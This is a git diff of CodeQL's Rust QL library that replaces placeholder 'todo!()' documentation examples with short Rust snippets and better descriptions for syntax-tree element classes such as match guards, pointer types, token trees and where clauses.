a/rust/ql/lib/codeql/rust/elements/MatchArmList.qll b/rust/ql/lib/codeql/rust/elements/MatchArmList.qll index ce9b1edf329..664db7b53f2 100644 --- a/rust/ql/lib/codeql/rust/elements/MatchArmList.qll +++ b/rust/ql/lib/codeql/rust/elements/MatchArmList.qll @@ -9,9 +9,16 @@ import codeql.rust.elements.Attr import codeql.rust.elements.MatchArm /** - * A MatchArmList. For example: + * A list of arms in a match expression. + * + * For example: * ```rust - * todo!() + * match x { + * 1 => "one", + * 2 => "two", + * _ => "other", + * } + * // ^^^^^^^^^^^ * ``` */ final class MatchArmList = Impl::MatchArmList; diff --git a/rust/ql/lib/codeql/rust/elements/MatchGuard.qll b/rust/ql/lib/codeql/rust/elements/MatchGuard.qll index 79f90f151c9..c6963bd1bfe 100644 --- a/rust/ql/lib/codeql/rust/elements/MatchGuard.qll +++ b/rust/ql/lib/codeql/rust/elements/MatchGuard.qll @@ -8,9 +8,15 @@ import codeql.rust.elements.AstNode import codeql.rust.elements.Expr /** - * A MatchGuard. For example: + * A guard condition in a match arm. + * + * For example: * ```rust - * todo!() + * match x { + * y if y > 0 => "positive", + * // ^^^^^^^ + * _ => "non-positive", + * } * ``` */ final class MatchGuard = Impl::MatchGuard; diff --git a/rust/ql/lib/codeql/rust/elements/Meta.qll b/rust/ql/lib/codeql/rust/elements/Meta.qll index 62b8e008ef7..46fcafb43c2 100644 --- a/rust/ql/lib/codeql/rust/elements/Meta.qll +++ b/rust/ql/lib/codeql/rust/elements/Meta.qll @@ -10,9 +10,17 @@ import codeql.rust.elements.Path import codeql.rust.elements.TokenTree /** - * A Meta. For example: + * A meta item in an attribute. + * + * For example: * ```rust - * todo!() + * #[unsafe(lint::name = "reason_for_bypass")] + * //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + * #[deprecated(since = "1.2.0", note = "Use bar instead", unsafe=true)] + * //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + * fn foo() { + * // ... + * } * ``` */ final class Meta = Impl::Meta; diff --git a/rust/ql/lib/codeql/rust/elements/Name.qll b/rust/ql/lib/codeql/rust/elements/Name.qll index 74c74acc44d..fa81050f1c2 100644 --- a/rust/ql/lib/codeql/rust/elements/Name.qll +++ b/rust/ql/lib/codeql/rust/elements/Name.qll @@ -7,9 +7,12 @@ private import internal.NameImpl import codeql.rust.elements.AstNode /** - * A Name. For example: + * An identifier name. + * + * For example: * ```rust - * todo!() + * let foo = 1; + * // ^^^ * ``` */ final class Name = Impl::Name; diff --git a/rust/ql/lib/codeql/rust/elements/NameRef.qll b/rust/ql/lib/codeql/rust/elements/NameRef.qll index ed37aa7ca32..0ca979140ae 100644 --- a/rust/ql/lib/codeql/rust/elements/NameRef.qll +++ b/rust/ql/lib/codeql/rust/elements/NameRef.qll @@ -7,9 +7,12 @@ private import internal.NameRefImpl import codeql.rust.elements.UseBoundGenericArg /** - * A NameRef. For example: + * A reference to a name. + * + * For example: * ```rust - * todo!() + * foo(); + * //^^^ * ``` */ final class NameRef = Impl::NameRef; diff --git a/rust/ql/lib/codeql/rust/elements/NeverTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/NeverTypeRepr.qll index 8eec61da058..814173c4a8f 100644 --- a/rust/ql/lib/codeql/rust/elements/NeverTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/NeverTypeRepr.qll @@ -7,9 +7,12 @@ private import internal.NeverTypeReprImpl import codeql.rust.elements.TypeRepr /** - * A NeverTypeRepr. For example: + * The never type `!`. + * + * For example: * ```rust - * todo!() + * fn foo() -> ! { panic!() } + * // ^ * ``` */ final class NeverTypeRepr = Impl::NeverTypeRepr; diff --git a/rust/ql/lib/codeql/rust/elements/ParamList.qll b/rust/ql/lib/codeql/rust/elements/ParamList.qll index 4678b78c3e6..1b34446a657 100644 --- a/rust/ql/lib/codeql/rust/elements/ParamList.qll +++ b/rust/ql/lib/codeql/rust/elements/ParamList.qll @@ -9,9 +9,12 @@ import codeql.rust.elements.Param import codeql.rust.elements.SelfParam /** - * A ParamList. For example: + * A list of parameters in a function, method, or closure declaration. + * + * For example: * ```rust - * todo!() + * fn foo(x: i32, y: i32) {} + * // ^^^^^^^^^^^^^ * ``` */ final class ParamList = Impl::ParamList; diff --git a/rust/ql/lib/codeql/rust/elements/ParenExpr.qll b/rust/ql/lib/codeql/rust/elements/ParenExpr.qll index 60466bdc7b7..1233ac2b6af 100644 --- a/rust/ql/lib/codeql/rust/elements/ParenExpr.qll +++ b/rust/ql/lib/codeql/rust/elements/ParenExpr.qll @@ -8,9 +8,11 @@ import codeql.rust.elements.Attr import codeql.rust.elements.Expr /** - * A ParenExpr. For example: + * A parenthesized expression. + * + * For example: * ```rust - * todo!() + * (x + y) * ``` */ final class ParenExpr = Impl::ParenExpr; diff --git a/rust/ql/lib/codeql/rust/elements/ParenPat.qll b/rust/ql/lib/codeql/rust/elements/ParenPat.qll index 291ddb76152..6789be94979 100644 --- a/rust/ql/lib/codeql/rust/elements/ParenPat.qll +++ b/rust/ql/lib/codeql/rust/elements/ParenPat.qll @@ -7,9 +7,12 @@ private import internal.ParenPatImpl import codeql.rust.elements.Pat /** - * A ParenPat. For example: + * A parenthesized pattern. + * + * For example: * ```rust - * todo!() + * let (x) = 1; + * // ^^^ * ``` */ final class ParenPat = Impl::ParenPat; diff --git a/rust/ql/lib/codeql/rust/elements/ParenTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/ParenTypeRepr.qll index 881d1a805fc..8379443633f 100644 --- a/rust/ql/lib/codeql/rust/elements/ParenTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/ParenTypeRepr.qll @@ -7,9 +7,12 @@ private import internal.ParenTypeReprImpl import codeql.rust.elements.TypeRepr /** - * A ParenTypeRepr. For example: + * A parenthesized type. + * + * For example: * ```rust - * todo!() + * let x: (i32); + * // ^^^^^ * ``` */ final class ParenTypeRepr = Impl::ParenTypeRepr; diff --git a/rust/ql/lib/codeql/rust/elements/ParenthesizedArgList.qll b/rust/ql/lib/codeql/rust/elements/ParenthesizedArgList.qll index d32c2bf382c..1d5b64d4d57 100644 --- a/rust/ql/lib/codeql/rust/elements/ParenthesizedArgList.qll +++ b/rust/ql/lib/codeql/rust/elements/ParenthesizedArgList.qll @@ -7,4 +7,18 @@ private import internal.ParenthesizedArgListImpl import codeql.rust.elements.AstNode import codeql.rust.elements.TypeArg +/** + * A parenthesized argument list as used in function traits. + * + * For example: + * ```rust + * fn call_with_42(f: F) -> i32 + * where + * F: Fn(i32, String) -> i32, + * // ^^^^^^^^^^^ + * { + * f(42, "Don't panic".to_string()) + * } + * ``` + */ final class ParenthesizedArgList = Impl::ParenthesizedArgList; diff --git a/rust/ql/lib/codeql/rust/elements/PathSegment.qll b/rust/ql/lib/codeql/rust/elements/PathSegment.qll index 5d7c2559ad2..3127947f7c3 100644 --- a/rust/ql/lib/codeql/rust/elements/PathSegment.qll +++ b/rust/ql/lib/codeql/rust/elements/PathSegment.qll @@ -15,5 +15,11 @@ import codeql.rust.elements.TypeRepr /** * A path segment, which is one part of a whole path. + * For example: + * - `HashMap` + * - `HashMap` + * - `Fn(i32) -> i32` + * - `widgets(..)` + * - `` */ final class PathSegment = Impl::PathSegment; diff --git a/rust/ql/lib/codeql/rust/elements/PathTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/PathTypeRepr.qll index 684d4429e5f..95ec6cc7ac8 100644 --- a/rust/ql/lib/codeql/rust/elements/PathTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/PathTypeRepr.qll @@ -8,7 +8,7 @@ import codeql.rust.elements.Path import codeql.rust.elements.TypeRepr /** - * A type referring to a path. For example: + * A path referring to a type. For example: * ```rust * type X = std::collections::HashMap; * type Y = X::Item; diff --git a/rust/ql/lib/codeql/rust/elements/PtrTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/PtrTypeRepr.qll index 219b8aad565..865e0f09756 100644 --- a/rust/ql/lib/codeql/rust/elements/PtrTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/PtrTypeRepr.qll @@ -7,9 +7,13 @@ private import internal.PtrTypeReprImpl import codeql.rust.elements.TypeRepr /** - * A PtrTypeRepr. For example: + * A pointer type. + * + * For example: * ```rust - * todo!() + * let p: *const i32; + * let q: *mut i32; + * // ^^^^^^^^^ * ``` */ final class PtrTypeRepr = Impl::PtrTypeRepr; diff --git a/rust/ql/lib/codeql/rust/elements/RefTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/RefTypeRepr.qll index 95e4e54196f..7df3fcb128b 100644 --- a/rust/ql/lib/codeql/rust/elements/RefTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/RefTypeRepr.qll @@ -8,9 +8,13 @@ import codeql.rust.elements.Lifetime import codeql.rust.elements.TypeRepr /** - * A RefTypeRepr. For example: + * A reference type. + * + * For example: * ```rust - * todo!() + * let r: &i32; + * let m: &mut i32; + * // ^^^^^^^^ * ``` */ final class RefTypeRepr = Impl::RefTypeRepr; diff --git a/rust/ql/lib/codeql/rust/elements/Rename.qll b/rust/ql/lib/codeql/rust/elements/Rename.qll index 11b635b4af9..d201995dc65 100644 --- a/rust/ql/lib/codeql/rust/elements/Rename.qll +++ b/rust/ql/lib/codeql/rust/elements/Rename.qll @@ -8,9 +8,12 @@ import codeql.rust.elements.AstNode import codeql.rust.elements.Name /** - * A Rename. For example: + * A rename in a use declaration. + * + * For example: * ```rust - * todo!() + * use foo as bar; + * // ^^^^^^ * ``` */ final class Rename = Impl::Rename; diff --git a/rust/ql/lib/codeql/rust/elements/RestPat.qll b/rust/ql/lib/codeql/rust/elements/RestPat.qll index 7a127cbc30a..9c20f0c5c9b 100644 --- a/rust/ql/lib/codeql/rust/elements/RestPat.qll +++ b/rust/ql/lib/codeql/rust/elements/RestPat.qll @@ -8,9 +8,12 @@ import codeql.rust.elements.Attr import codeql.rust.elements.Pat /** - * A RestPat. For example: + * A rest pattern (`..`) in a tuple, slice, or struct pattern. + * + * For example: * ```rust - * todo!() + * let (a, .., z) = (1, 2, 3); + * // ^^ * ``` */ final class RestPat = Impl::RestPat; diff --git a/rust/ql/lib/codeql/rust/elements/RetTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/RetTypeRepr.qll index 05f7cc73e2c..205044d56b2 100644 --- a/rust/ql/lib/codeql/rust/elements/RetTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/RetTypeRepr.qll @@ -8,9 +8,12 @@ import codeql.rust.elements.AstNode import codeql.rust.elements.TypeRepr /** - * A RetTypeRepr. For example: + * A return type in a function signature. + * + * For example: * ```rust - * todo!() + * fn foo() -> i32 {} + * // ^^^^^^ * ``` */ final class RetTypeRepr = Impl::RetTypeRepr; diff --git a/rust/ql/lib/codeql/rust/elements/ReturnTypeSyntax.qll b/rust/ql/lib/codeql/rust/elements/ReturnTypeSyntax.qll index 85c42a697f2..aff8ab93e00 100644 --- a/rust/ql/lib/codeql/rust/elements/ReturnTypeSyntax.qll +++ b/rust/ql/lib/codeql/rust/elements/ReturnTypeSyntax.qll @@ -7,9 +7,22 @@ private import internal.ReturnTypeSyntaxImpl import codeql.rust.elements.AstNode /** - * A ReturnTypeSyntax. For example: + * A return type notation `(..)` to reference or bound the type returned by a trait method + * + * For example: * ```rust - * todo!() + * struct ReverseWidgets> { + * factory: F, + * } + * + * impl Factory for ReverseWidgets + * where + * F: Factory, + * { + * fn widgets(&self) -> impl Iterator { + * self.factory.widgets().rev() + * } + * } * ``` */ final class ReturnTypeSyntax = Impl::ReturnTypeSyntax; diff --git a/rust/ql/lib/codeql/rust/elements/SliceTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/SliceTypeRepr.qll index 051eceb5cc2..dfffccc0594 100644 --- a/rust/ql/lib/codeql/rust/elements/SliceTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/SliceTypeRepr.qll @@ -7,9 +7,12 @@ private import internal.SliceTypeReprImpl import codeql.rust.elements.TypeRepr /** - * A SliceTypeRepr. For example: + * A slice type. + * + * For example: * ```rust - * todo!() + * let s: &[i32]; + * // ^^^^^ * ``` */ final class SliceTypeRepr = Impl::SliceTypeRepr; diff --git a/rust/ql/lib/codeql/rust/elements/SourceFile.qll b/rust/ql/lib/codeql/rust/elements/SourceFile.qll index f0cb51d063c..aaa7f1d7be4 100644 --- a/rust/ql/lib/codeql/rust/elements/SourceFile.qll +++ b/rust/ql/lib/codeql/rust/elements/SourceFile.qll @@ -9,9 +9,12 @@ import codeql.rust.elements.Attr import codeql.rust.elements.Item /** - * A SourceFile. For example: + * A source file. + * + * For example: * ```rust - * todo!() + * // main.rs + * fn main() {} * ``` */ final class SourceFile = Impl::SourceFile; diff --git a/rust/ql/lib/codeql/rust/elements/Static.qll b/rust/ql/lib/codeql/rust/elements/Static.qll index 74467dcb705..2ddd82f25cd 100644 --- a/rust/ql/lib/codeql/rust/elements/Static.qll +++ b/rust/ql/lib/codeql/rust/elements/Static.qll @@ -13,9 +13,11 @@ import codeql.rust.elements.TypeRepr import codeql.rust.elements.Visibility /** - * A Static. For example: + * A static item declaration. + * + * For example: * ```rust - * todo!() + * static X: i32 = 42; * ``` */ final class Static = Impl::Static; diff --git a/rust/ql/lib/codeql/rust/elements/StmtList.qll b/rust/ql/lib/codeql/rust/elements/StmtList.qll index df22f0cc703..76a4b5d2c34 100644 --- a/rust/ql/lib/codeql/rust/elements/StmtList.qll +++ b/rust/ql/lib/codeql/rust/elements/StmtList.qll @@ -10,9 +10,15 @@ import codeql.rust.elements.Expr import codeql.rust.elements.Stmt /** - * A StmtList. For example: + * A list of statements in a block. + * + * For example: * ```rust - * todo!() + * { + * let x = 1; + * let y = 2; + * } + * // ^^^^^^^^^ * ``` */ final class StmtList = Impl::StmtList; diff --git a/rust/ql/lib/codeql/rust/elements/Struct.qll b/rust/ql/lib/codeql/rust/elements/Struct.qll index b78254d87dc..9b57316e0ec 100644 --- a/rust/ql/lib/codeql/rust/elements/Struct.qll +++ b/rust/ql/lib/codeql/rust/elements/Struct.qll @@ -16,7 +16,10 @@ import codeql.rust.elements.WhereClause /** * A Struct. For example: * ```rust - * todo!() + * struct Point { + * x: i32, + * y: i32, + * } * ``` */ final class Struct = Impl::Struct; diff --git a/rust/ql/lib/codeql/rust/elements/StructExprFieldList.qll b/rust/ql/lib/codeql/rust/elements/StructExprFieldList.qll index 1ce9cd0c615..091460538fc 100644 --- a/rust/ql/lib/codeql/rust/elements/StructExprFieldList.qll +++ b/rust/ql/lib/codeql/rust/elements/StructExprFieldList.qll @@ -10,9 +10,12 @@ import codeql.rust.elements.Expr import codeql.rust.elements.StructExprField /** - * A StructExprFieldList. For example: + * A list of fields in a struct expression. + * + * For example: * ```rust - * todo!() + * Foo { a: 1, b: 2 } + * // ^^^^^^^^^^^ * ``` */ final class StructExprFieldList = Impl::StructExprFieldList; diff --git a/rust/ql/lib/codeql/rust/elements/StructField.qll b/rust/ql/lib/codeql/rust/elements/StructField.qll index 157849d45a6..6d363a17b12 100644 --- a/rust/ql/lib/codeql/rust/elements/StructField.qll +++ b/rust/ql/lib/codeql/rust/elements/StructField.qll @@ -12,9 +12,12 @@ import codeql.rust.elements.TypeRepr import codeql.rust.elements.Visibility /** - * A StructField. For example: + * A field in a struct declaration. + * + * For example: * ```rust - * todo!() + * struct S { x: i32 } + * // ^^^^^^^ * ``` */ final class StructField = Impl::StructField; diff --git a/rust/ql/lib/codeql/rust/elements/StructFieldList.qll b/rust/ql/lib/codeql/rust/elements/StructFieldList.qll index 6eee3bd61a8..0d059ee55c7 100644 --- a/rust/ql/lib/codeql/rust/elements/StructFieldList.qll +++ b/rust/ql/lib/codeql/rust/elements/StructFieldList.qll @@ -8,9 +8,12 @@ import codeql.rust.elements.FieldList import codeql.rust.elements.StructField /** - * A field list of a struct expression. For example: + * A list of fields in a struct declaration. + * + * For example: * ```rust - * todo!() + * struct S { x: i32, y: i32 } + * // ^^^^^^^^^^^^^^^ * ``` */ final class StructFieldList = Impl::StructFieldList; diff --git a/rust/ql/lib/codeql/rust/elements/StructPatFieldList.qll b/rust/ql/lib/codeql/rust/elements/StructPatFieldList.qll index 3ed30ea769b..a031e720a59 100644 --- a/rust/ql/lib/codeql/rust/elements/StructPatFieldList.qll +++ b/rust/ql/lib/codeql/rust/elements/StructPatFieldList.qll @@ -9,9 +9,12 @@ import codeql.rust.elements.RestPat import codeql.rust.elements.StructPatField /** - * A StructPatFieldList. For example: + * A list of fields in a struct pattern. + * + * For example: * ```rust - * todo!() + * let Foo { a, b } = foo; + * // ^^^^^ * ``` */ final class StructPatFieldList = Impl::StructPatFieldList; diff --git a/rust/ql/lib/codeql/rust/elements/TokenTree.qll b/rust/ql/lib/codeql/rust/elements/TokenTree.qll index 1461db3dc0f..19c3901eda0 100644 --- a/rust/ql/lib/codeql/rust/elements/TokenTree.qll +++ b/rust/ql/lib/codeql/rust/elements/TokenTree.qll @@ -7,9 +7,16 @@ private import internal.TokenTreeImpl import codeql.rust.elements.AstNode /** - * A TokenTree. For example: + * A token tree in a macro definition or invocation. + * + * For example: * ```rust - * todo!() + * println!("{} {}!", "Hello", "world"); + * // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + * ``` + * ```rust + * macro_rules! foo { ($x:expr) => { $x + 1 }; } + * // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ * ``` */ final class TokenTree = Impl::TokenTree; diff --git a/rust/ql/lib/codeql/rust/elements/TraitAlias.qll b/rust/ql/lib/codeql/rust/elements/TraitAlias.qll index 21d89531ed5..956fa76ab21 100644 --- a/rust/ql/lib/codeql/rust/elements/TraitAlias.qll +++ b/rust/ql/lib/codeql/rust/elements/TraitAlias.qll @@ -13,9 +13,11 @@ import codeql.rust.elements.Visibility import codeql.rust.elements.WhereClause /** - * A TraitAlias. For example: + * A trait alias. + * + * For example: * ```rust - * todo!() + * trait Foo = Bar + Baz; * ``` */ final class TraitAlias = Impl::TraitAlias; diff --git a/rust/ql/lib/codeql/rust/elements/TryExpr.qll b/rust/ql/lib/codeql/rust/elements/TryExpr.qll index 9617f5c5463..683b302528f 100644 --- a/rust/ql/lib/codeql/rust/elements/TryExpr.qll +++ b/rust/ql/lib/codeql/rust/elements/TryExpr.qll @@ -8,9 +8,12 @@ import codeql.rust.elements.Attr import codeql.rust.elements.Expr /** - * A TryExpr. For example: + * A try expression using the `?` operator. + * + * For example: * ```rust - * todo!() + * let x = foo()?; + * // ^ * ``` */ final class TryExpr = Impl::TryExpr; diff --git a/rust/ql/lib/codeql/rust/elements/TupleField.qll b/rust/ql/lib/codeql/rust/elements/TupleField.qll index 10e22fd21ae..9dcfaa4fb33 100644 --- a/rust/ql/lib/codeql/rust/elements/TupleField.qll +++ b/rust/ql/lib/codeql/rust/elements/TupleField.qll @@ -10,9 +10,12 @@ import codeql.rust.elements.TypeRepr import codeql.rust.elements.Visibility /** - * A TupleField. For example: + * A field in a tuple struct or tuple enum variant. + * + * For example: * ```rust - * todo!() + * struct S(i32, String); + * // ^^^ ^^^^^^ * ``` */ final class TupleField = Impl::TupleField; diff --git a/rust/ql/lib/codeql/rust/elements/TupleFieldList.qll b/rust/ql/lib/codeql/rust/elements/TupleFieldList.qll index 68294d7df7a..0c464944993 100644 --- a/rust/ql/lib/codeql/rust/elements/TupleFieldList.qll +++ b/rust/ql/lib/codeql/rust/elements/TupleFieldList.qll @@ -8,9 +8,12 @@ import codeql.rust.elements.FieldList import codeql.rust.elements.TupleField /** - * A TupleFieldList. For example: + * A list of fields in a tuple struct or tuple enum variant. + * + * For example: * ```rust - * todo!() + * struct S(i32, String); + * // ^^^^^^^^^^^^^ * ``` */ final class TupleFieldList = Impl::TupleFieldList; diff --git a/rust/ql/lib/codeql/rust/elements/TupleTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/TupleTypeRepr.qll index 66e0645cd1b..c2a856750fa 100644 --- a/rust/ql/lib/codeql/rust/elements/TupleTypeRepr.qll +++ b/rust/ql/lib/codeql/rust/elements/TupleTypeRepr.qll @@ -7,9 +7,12 @@ private import internal.TupleTypeReprImpl import codeql.rust.elements.TypeRepr /** - * A TupleTypeRepr. For example: + * A tuple type. + * + * For example: * ```rust - * todo!() + * let t: (i32, String); + * // ^^^^^^^^^^^^^ * ``` */ final class TupleTypeRepr = Impl::TupleTypeRepr; diff --git a/rust/ql/lib/codeql/rust/elements/TypeArg.qll b/rust/ql/lib/codeql/rust/elements/TypeArg.qll index 42fa984506a..c17e7e75c69 100644 --- a/rust/ql/lib/codeql/rust/elements/TypeArg.qll +++ b/rust/ql/lib/codeql/rust/elements/TypeArg.qll @@ -8,9 +8,12 @@ import codeql.rust.elements.GenericArg import codeql.rust.elements.TypeRepr /** - * A TypeArg. For example: + * A type argument in a generic argument list. + * + * For example: * ```rust - * todo!() + * Foo:: + * // ^^^ * ``` */ final class TypeArg = Impl::TypeArg; diff --git a/rust/ql/lib/codeql/rust/elements/TypeBound.qll b/rust/ql/lib/codeql/rust/elements/TypeBound.qll index 52f9483afed..c49d8e5be06 100644 --- a/rust/ql/lib/codeql/rust/elements/TypeBound.qll +++ b/rust/ql/lib/codeql/rust/elements/TypeBound.qll @@ -10,9 +10,12 @@ import codeql.rust.elements.TypeRepr import codeql.rust.elements.UseBoundGenericArgs /** - * A TypeBound. For example: + * A type bound in a trait or generic parameter. + * + * For example: * ```rust - * todo!() + * fn foo(t: T) {} + * // ^^^^^ * ``` */ final class TypeBound = Impl::TypeBound; diff --git a/rust/ql/lib/codeql/rust/elements/TypeBoundList.qll b/rust/ql/lib/codeql/rust/elements/TypeBoundList.qll index 6f2107b9ddf..1bdf2cc1f73 100644 --- a/rust/ql/lib/codeql/rust/elements/TypeBoundList.qll +++ b/rust/ql/lib/codeql/rust/elements/TypeBoundList.qll @@ -8,9 +8,12 @@ import codeql.rust.elements.AstNode import codeql.rust.elements.TypeBound /** - * A TypeBoundList. For example: + * A list of type bounds. + * + * For example: * ```rust - * todo!() + * fn foo(t: T) {} + * // ^^^^^^^^^^^^^ * ``` */ final class TypeBoundList = Impl::TypeBoundList; diff --git a/rust/ql/lib/codeql/rust/elements/TypeParam.qll b/rust/ql/lib/codeql/rust/elements/TypeParam.qll index bf01aaf6f1f..126892685cd 100644 --- a/rust/ql/lib/codeql/rust/elements/TypeParam.qll +++ b/rust/ql/lib/codeql/rust/elements/TypeParam.qll @@ -11,9 +11,12 @@ import codeql.rust.elements.TypeBoundList import codeql.rust.elements.TypeRepr /** - * A TypeParam. For example: + * A type parameter in a generic parameter list. + * + * For example: * ```rust - * todo!() + * fn foo(t: T) {} + * // ^ * ``` */ final class TypeParam = Impl::TypeParam; diff --git a/rust/ql/lib/codeql/rust/elements/Union.qll b/rust/ql/lib/codeql/rust/elements/Union.qll index a9edce9d2fe..fac11390b1b 100644 --- a/rust/ql/lib/codeql/rust/elements/Union.qll +++ b/rust/ql/lib/codeql/rust/elements/Union.qll @@ -14,9 +14,11 @@ import codeql.rust.elements.Visibility import codeql.rust.elements.WhereClause /** - * A Union. For example: + * A union declaration. + * + * For example: * ```rust - * todo!() + * union U { f1: u32, f2: f32 } * ``` */ final class Union = Impl::Union; diff --git a/rust/ql/lib/codeql/rust/elements/Use.qll b/rust/ql/lib/codeql/rust/elements/Use.qll index 7485018a975..4d5f9bd3948 100644 --- a/rust/ql/lib/codeql/rust/elements/Use.qll +++ b/rust/ql/lib/codeql/rust/elements/Use.qll @@ -10,9 +10,9 @@ import codeql.rust.elements.UseTree import codeql.rust.elements.Visibility /** - * A Use. For example: + * A `use` statement. For example: * ```rust - * todo!() + * use std::collections::HashMap; * ``` */ final class Use = Impl::Use; diff --git a/rust/ql/lib/codeql/rust/elements/UseBoundGenericArgs.qll b/rust/ql/lib/codeql/rust/elements/UseBoundGenericArgs.qll index 2e0fe43db24..f3784ffdab2 100644 --- a/rust/ql/lib/codeql/rust/elements/UseBoundGenericArgs.qll +++ b/rust/ql/lib/codeql/rust/elements/UseBoundGenericArgs.qll @@ -7,4 +7,13 @@ private import internal.UseBoundGenericArgsImpl import codeql.rust.elements.AstNode import codeql.rust.elements.UseBoundGenericArg +/** + * A use<..> bound to control which generic parameters are captured by an impl Trait return type. + * + * For example: + * ```rust + * pub fn hello<'a, T, const N: usize>() -> impl Sized + use<'a, T, N> {} + * // ^^^^^^^^ + * ``` + */ final class UseBoundGenericArgs = Impl::UseBoundGenericArgs; diff --git a/rust/ql/lib/codeql/rust/elements/UseTree.qll b/rust/ql/lib/codeql/rust/elements/UseTree.qll index ce3f8be16d1..fe483cb0d05 100644 --- a/rust/ql/lib/codeql/rust/elements/UseTree.qll +++ b/rust/ql/lib/codeql/rust/elements/UseTree.qll @@ -10,7 +10,7 @@ import codeql.rust.elements.Rename import codeql.rust.elements.UseTreeList /** - * A UseTree. For example: + * A `use` tree, that is, the part after the `use` keyword in a `use` statement. For example: * ```rust * use std::collections::HashMap; * use std::collections::*; diff --git a/rust/ql/lib/codeql/rust/elements/UseTreeList.qll b/rust/ql/lib/codeql/rust/elements/UseTreeList.qll index 92202501028..dc44daf3914 100644 --- a/rust/ql/lib/codeql/rust/elements/UseTreeList.qll +++ b/rust/ql/lib/codeql/rust/elements/UseTreeList.qll @@ -8,9 +8,12 @@ import codeql.rust.elements.AstNode import codeql.rust.elements.UseTree /** - * A UseTreeList. For example: + * A list of use trees in a use declaration. + * + * For example: * ```rust - * todo!() + * use std::{fs, io}; + * // ^^^^^^^^ * ``` */ final class UseTreeList = Impl::UseTreeList; diff --git a/rust/ql/lib/codeql/rust/elements/Variant.qll b/rust/ql/lib/codeql/rust/elements/Variant.qll index ab9d391f44a..5afa140923b 100644 --- a/rust/ql/lib/codeql/rust/elements/Variant.qll +++ b/rust/ql/lib/codeql/rust/elements/Variant.qll @@ -13,9 +13,12 @@ import codeql.rust.elements.VariantDef import codeql.rust.elements.Visibility /** - * A Variant. For example: + * A variant in an enum declaration. + * + * For example: * ```rust - * todo!() + * enum E { A, B(i32), C { x: i32 } } + * // ^ ^^^^^^ ^^^^^^^^^^^^ * ``` */ final class Variant = Impl::Variant; diff --git a/rust/ql/lib/codeql/rust/elements/VariantList.qll b/rust/ql/lib/codeql/rust/elements/VariantList.qll index e0cf435c468..672ce6f91ac 100644 --- a/rust/ql/lib/codeql/rust/elements/VariantList.qll +++ b/rust/ql/lib/codeql/rust/elements/VariantList.qll @@ -8,9 +8,12 @@ import codeql.rust.elements.AstNode import codeql.rust.elements.Variant /** - * A VariantList. For example: + * A list of variants in an enum declaration. + * + * For example: * ```rust - * todo!() + * enum E { A, B, C } + * // ^^^^^^^^^^^ * ``` */ final class VariantList = Impl::VariantList; diff --git a/rust/ql/lib/codeql/rust/elements/Visibility.qll b/rust/ql/lib/codeql/rust/elements/Visibility.qll index 58db9b66fe2..9fd60b6ba27 100644 --- a/rust/ql/lib/codeql/rust/elements/Visibility.qll +++ b/rust/ql/lib/codeql/rust/elements/Visibility.qll @@ -8,9 +8,12 @@ import codeql.rust.elements.AstNode import codeql.rust.elements.Path /** - * A Visibility. For example: + * A visibility modifier. + * + * For example: * ```rust - * todo!() + * pub struct S; + * //^^^ * ``` */ final class Visibility = Impl::Visibility; diff --git a/rust/ql/lib/codeql/rust/elements/WhereClause.qll b/rust/ql/lib/codeql/rust/elements/WhereClause.qll index 2f52bd3955f..80e3867be31 100644 --- a/rust/ql/lib/codeql/rust/elements/WhereClause.qll +++ b/rust/ql/lib/codeql/rust/elements/WhereClause.qll @@ -8,9 +8,12 @@ import codeql.rust.elements.AstNode import codeql.rust.elements.WherePred /** - * A WhereClause. For example: + * A where clause in a generic declaration. + * + * For example: * ```rust - * todo!() + * fn foo(t: T) where T: Debug {} + * // ^^^^^^^^^^^^^^ * ``` */ final class WhereClause = Impl::WhereClause; diff --git a/rust/ql/lib/codeql/rust/elements/WherePred.qll b/rust/ql/lib/codeql/rust/elements/WherePred.qll index 3f0bb8c5fe7..16e1e586570 100644 --- a/rust/ql/lib/codeql/rust/elements/WherePred.qll +++ b/rust/ql/lib/codeql/rust/elements/WherePred.qll @@ -11,9 +11,12 @@ import codeql.rust.elements.TypeBoundList import codeql.rust.elements.TypeRepr /** - * A WherePred. For example: + * A predicate in a where clause. + * + * For example: * ```rust - * todo!() + * fn foo(t: T, u: U) where T: Debug, U: Clone {} + * // ^^^^^^^^ ^^^^^^^^ * ``` */ final class WherePred = Impl::WherePred; diff --git a/rust/ql/lib/codeql/rust/elements/WhileExpr.qll b/rust/ql/lib/codeql/rust/elements/WhileExpr.qll index fc704d35095..2103d983e70 100644 --- a/rust/ql/lib/codeql/rust/elements/WhileExpr.qll +++ b/rust/ql/lib/codeql/rust/elements/WhileExpr.qll @@ -9,9 +9,13 @@ import codeql.rust.elements.Expr import codeql.rust.elements.LoopingExpr /** - * A WhileExpr. For example: + * A while loop expression. + * + * For example: * ```rust - * todo!() + * while x < 10 { + * x += 1; + * } * ``` */ final class WhileExpr = Impl::WhileExpr; diff --git a/rust/ql/lib/codeql/rust/elements/internal/AbiImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AbiImpl.qll index c0af077785f..2534d71e610 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AbiImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AbiImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.Abi */ module Impl { /** - * A Abi. For example: + * An ABI specification for an extern function or block. + * + * For example: * ```rust - * todo!() + * extern "C" fn foo() {} + * // ^^^ * ``` */ class Abi extends Generated::Abi { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/ArgListImpl.qll 